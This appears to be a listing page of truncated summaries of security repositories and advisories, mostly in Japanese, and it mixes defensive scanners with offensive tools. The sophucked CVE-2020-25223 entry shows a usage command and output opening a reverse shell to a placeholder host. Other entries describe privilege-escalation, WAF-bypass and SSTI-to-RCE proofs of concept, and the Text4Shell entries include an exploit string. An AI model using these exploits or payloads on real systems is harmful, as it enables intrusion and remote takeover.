browser-xpi-malware-scanner

XPI Analyzer — Firefox拡張機能セキュリティスキャナ Firefox拡張機能ファイル（.xpi）を解析し、マルウェア、難読化、隠しペイロード、ステガノグラフィ、および拡張機能レビューチームをすり抜ける悪意のあるコードを仕込むその他の手法の兆候を検出するコマンドラインツールです。 機能概要 extension-scanner.py はFirefox拡張機能を開き、内部のすべてのファイルに対して一連のセキュリティチェックを実行します。そして、重要度順にランク付けされた結果を色分けしたレポートとして出力します。...

EntraFalcon

EntraFalcon EntraFalconは、ペンテスター、セキュリティアナリスト、システム管理者がMicrosoft Entra ID環境のセキュリティ態勢を評価するためのPowerShellベースの評価ツールです。 使いやすさを重視して設計されたEntraFalconは、PowerShell 5.1および7で動作し、WindowsとLinuxの両方をサポートしており、追加のPowerShellモジュール、追加インストール、Microsoft Graph APIの同意は不要です。...

PrintSpoofer-ReflectiveDLL

PrintSpoofer 詳細 PrintSpoofer は、Windows Print Spooler サービスの脆弱性 CVE-2019-1040 / CVE-2019-1019 を悪用してローカル権限昇格を実行するツールです。このプロジェクトは PrintSpoofer エクスプロイトを Reflective DLL 形式で実装しており、Cobalt Strike などのペネトレーションテストフレームワークでの使用に適しています。 目次 概要 動作原理 技術的詳細 要件 ビルド 使用方法 プロジェクト構成 セキュリティ免責事項 参考リンク 概要 PrintSpoofer...

sophucked

sophucked CVE-2020-25223 RCE PoC、認証不要でリバースシェルを取得します。いくつかの脅威磁石を統合する必要があったため、これを迅速に実装しました。 使用例: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from x.x.x.x + pop thy shell! bash: no job control in this shell...

fern-wifi-cracker

Fern Wifi Cracker Fern Wifi Cracker は、Python Programming Language と Python Qt GUI library を使用して書かれたワイヤレスセキュリティ監査および攻撃ソフトウェアプログラムです。このプログラムは、WEP/WPA/WPSキーのクラックと回復が可能であり、ワイヤレスまたはイーサネットベースのネットワーク上で他のネットワークベースの攻撃を実行することもできます。 免責事項...

cerberus-re-skill

Cerberus RE cerberus-re は、Ghidra、LLDB、Frida を中心とした反復可能な静的/動的/計装の3つのヘッドを持つループを構築するための、Apple 向けローカルリバースエンジニアリングワークベンチです。 ターミナル専用のメモではなく、耐久性のあるアーティファクトを必要とするアナリストやコーディングエージェント向けに設計されています。 Ghidra のインポート、ヘッドレスエクスポート、逆コンパイル、クロスリファレンス、メタデータの復元。 LLDB によるランタイムトレースと、エクスポートされた関数コンテキストへの静的情報の充実。 Frida...

terra

Terra : Terra needs an Active Maintainer I'm searching for an active maintainer for Terra. I have some exciting ideas for new features and other things possible with Terra / OSINT. Would love to hear from interested folks. Mail me at [email protected] Terra : Recon tool on Social Media...

Azure-Sentinel

Microsoft Sentinel および Microsoft 365 Defender Microsoft Sentinel と Microsoft 365 Defender の統合リポジトリへようこそ！このリポジトリには、すぐに使える検出、探索クエリ、ハンティングクエリ、ブック、プレイブックなどが含まれており、Microsoft Sentinel の導入を迅速に進め、環境を保護して脅威を追跡するためのセキュリティコンテンツを提供します。ハンティングクエリには、Microsoft 365 Defender および Microsoft Sentinel...

AgentGuard

AgentGuard 自律型AIエージェント向けゼロトラストサンドボックス。 AgentGuardは、あらゆるAIエージェント（LangChain、CrewAI、AutoGen、カスタムスクリプト）に安全レールを装着します。1つのコマンドを変更するだけです： 以前（危険 – エージェントがフルシステムアクセスを持つ） python myagent.py 以後（サンドボックス化） agentguard run -- python myagent.py...

EUVD-2026-91319

Cross-Site Scripting vulnerability in the Repasat application. Successful exploitation of this vulnerability could allow an attacker to trick a user into executing arbitrary code in the victim’s browser. The “name” parameter is affected – endpoint “/es/attachmenttypes/update/203336”...

CVE-2026-59669 Multiple vulnerabilities in the Repasat application

Cross-Site Scripting vulnerability in the Repasat application. Successful exploitation of this vulnerability could allow an attacker to trick a user into executing arbitrary code in the victim’s browser. The “name” parameter is affected – endpoint “/es/attachmenttypes/update/203336”...

bandwhich

bandwhich これは、プロセス、接続、リモートIP/ホスト名別に現在のネットワーク使用状況を表示するCLIユーティリティです。 目次 bandwhich 目次 プロジェクトの状態 動作の仕組み インストール 下流パッケージのステータス プリビルドバイナリのダウンロード ソースからのビルド クロスコンパイル Android インストール後 Linux 1. setcap ケイパビリティの説明 2. sudo または代替 インストール後 Windows 使用方法 コントリビューション ライセンス プロジェクトの状態...

bandwhich

bandwhich This is a CLI utility for displaying current network utilization by process, connection and remote IP/hostname Table of contents bandwhich Table of contents Project status How does it work? Installation Downstream packaging status Download a prebuilt binary Building from source...

CVE-2025-55182-bypass

CVE-2025-55182 请求头绕过 针对 CVE-2025-55182 的 Next-Action 请求头绕过。无需特征请求头即可实现 React RSC RCE，从而绕过 WAF 规则。 关键发现 利用过程无需 Next-Action 请求头。 攻击向量| Next-Action 请求头| WAF 检测 ---|---|--- 原始 CVE| 必需| 可检测 本绕过| 无需| 规避请求头规则 工作原理 ┌─────────────────────────────────────────────────────────────────────────────┐ │ ORIGINAL...

SGLang-0.5.9-RCE

SGLang SSTI to RCE PoC — サンドボックス化されていないJinja2チャットテンプレートレンダリング CVE-2026-5760 SGLangのリランキングエンドポイントにおけるサーバーサイドテンプレートインジェクション（SSTI）を介したリモートコード実行。細工されたtokenizer.chattemplateを含む悪意のあるGGUFモデルファイルをSGLangに読み込み、/v1/rerankエンドポイントを呼び出すと、任意のコードが実行されます。 Features...

termshark

Termshark A terminal user-interface for tshark, inspired by Wireshark. V2.4 is out now with packet search and profiles for colors and columns! See theChangeLog. If you're debugging on a remote machine with a large pcap and no desire to scp it back to your desktop, termshark can help! Features Rea...

CVE-2022-42889-PoC

CVE-2022-42889（別名 Text4Shell）RCE 概念実証 Text4Shell は、Apache Commons Text ライブラリで発見された重大なソフトウェア脆弱性の通称です（CVE-2022-42889 を参照）。 このリポジトリは、この CVE を利用したリモートコード実行 （RCE）を実演するためのものです。 脆弱なコードは SpringBoot コントローラで使用されていますが、誤解しないでください。これは SpringBoot/Spring Security の問題ではありません。 RCE をテストする前に、Docker イメージをビルドします： $...

redai

RedAI AI駆動の脆弱性発見とライブバリデーション のためのターミナルワークベンチ。 ほとんどの「AIセキュリティ」ツールは、 脆弱に見える コードにフラグを立てるだけで終わります。RedAIはさらに一歩進んでいます。スキャナーエージェントが候補となる発見を生成した後、バリデーターエージェントがライブ環境内で動作し — ターゲットの実行中のインスタンスと、それとやり取りするために必要なツール — レポートに表示される前に、各発見を証明または反証しようと試みます。彼らはUIをクリックし、エンドポイントにアクセスし、PoCスクリプトを作成し、ヘルパーサーバーをホストし、証拠を保存します。...

mcpsnoop

MCP 用の Wireshark。 AI クライアントと MCP サーバー間で行われる実際のツール呼び出しをすべて、ターミナル上でリアルタイムに表示する透過プロキシ。 問題点 公式の MCP Inspector は独自のクライアントとして接続するため、 あなたの クライアント（Cursor、Claude...

CVE-2022-42889-PoC

CVE-2022-42889 PoC これは、脆弱性 CVE-2022-42889 の Proof of Concept です。このコードは JavaScript コード 195 + 324 を実行します。脆弱性がある場合、出力は次のようになります: PoC Output: 519 これを実行するには、以下が必要です: JDK 11 以降 Maven エクスプロイト文字列を求められたら、独自のエクスプロイト文字列を入力するか（Enter を押して文字列を入力）、または単に Enter を押してデフォルトのエクスプロイト文字列 $script:javascript:195 + 324...